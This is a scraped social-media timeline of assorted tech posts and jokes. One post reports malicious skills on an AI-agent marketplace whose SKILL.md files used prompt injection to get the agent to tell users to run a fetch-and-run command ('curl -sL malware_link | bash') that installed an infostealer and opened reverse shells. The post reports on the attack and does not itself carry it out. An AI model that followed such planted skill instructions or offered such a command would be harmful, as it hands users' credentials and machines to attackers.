
Bryce DeFigueiredo
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Bryce DeFigueiredo
@bdefig
building agents // co-founder https://t.co/mHcbQIGHY9 // techno-optimist and regular optimist





Meet KARL: a faster agent for enterprise knowledge, powered by custom reinforcement learning (now in preview). Enterprise knowledge work isn’t just Q&A. Agents need to search for documents, find facts, cross-reference information, and reason over dozens or hundreds of steps. KARL (Knowledge Agent via Reinforcement Learning) was built to handle this full spectrum of grounded reasoning tasks. The result: frontier-level performance on complex knowledge workloads at a fraction of the cost and latency of leading proprietary models. These advances are already making their way into Agent Bricks, improving how knowledge agents reason over enterprise data. And Databricks customers can apply the same reinforcement learning techniques used to train KARL to build custom agents for their own enterprise use cases. Read the research → databricks.com/sites/default/… Blog: databricks.com/blog/meet-karl…


Told my girlfriend I want 3 kids so I have a legacy she asked me to name my great grandparents


What a great illustration of the central problem of AI benchmarking for real work All of the effort is going into benchmarking for coding, but that is a small part of the actual jobs people do, which leaves the true trajectory of AI progress less clear. arxiv.org/pdf/2603.01203




Last 4 year #severance anniversary drop… this is probably out in the world already… but… first shot of season 2💙💚




All our services running on @clerk are returning 429's - Rate exceeded, seeing the same things on other sites running Clerk... Including Clerk itself:




the #1 most downloaded skill on OpenClaw marketplace was MALWARE it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server 1,184 malicious skills found, one attacker uploaded 677 packages ALONE OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins you install a skill, your AI agent gets new powers, this sounds great the problem? ClawHub let ANYONE publish with just a 1 week old github account attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL but hidden in the SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash that one command installed Atomic Stealer on macOS it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1 this is npm supply chain attacks all over again except the package can THINK and has root access to your life







The level of productivity I aspire to be:

This year for the Big Game, Chris let his imagination run a little too wild with @AmazonAlexa.

My Wife’s vibe coded her first app and here it is in action today She created a ticket and check in system for a charity event in Vietnam. Every existing system is fully online but a lot of the elderly in Da Nang don’t have phones or don’t know how to use technology. This app lets you design and print out physical tickets for distribution and then lets staff scan the ticket so that it can’t be reused. You also take a photo of the person and facial recognition makes sure people don’t slip back in line a second time. She is a product lead and a designer but has no engineering background. Vibe coding is not just about making MRR. It empowers everyone to build useful tools for the real world.










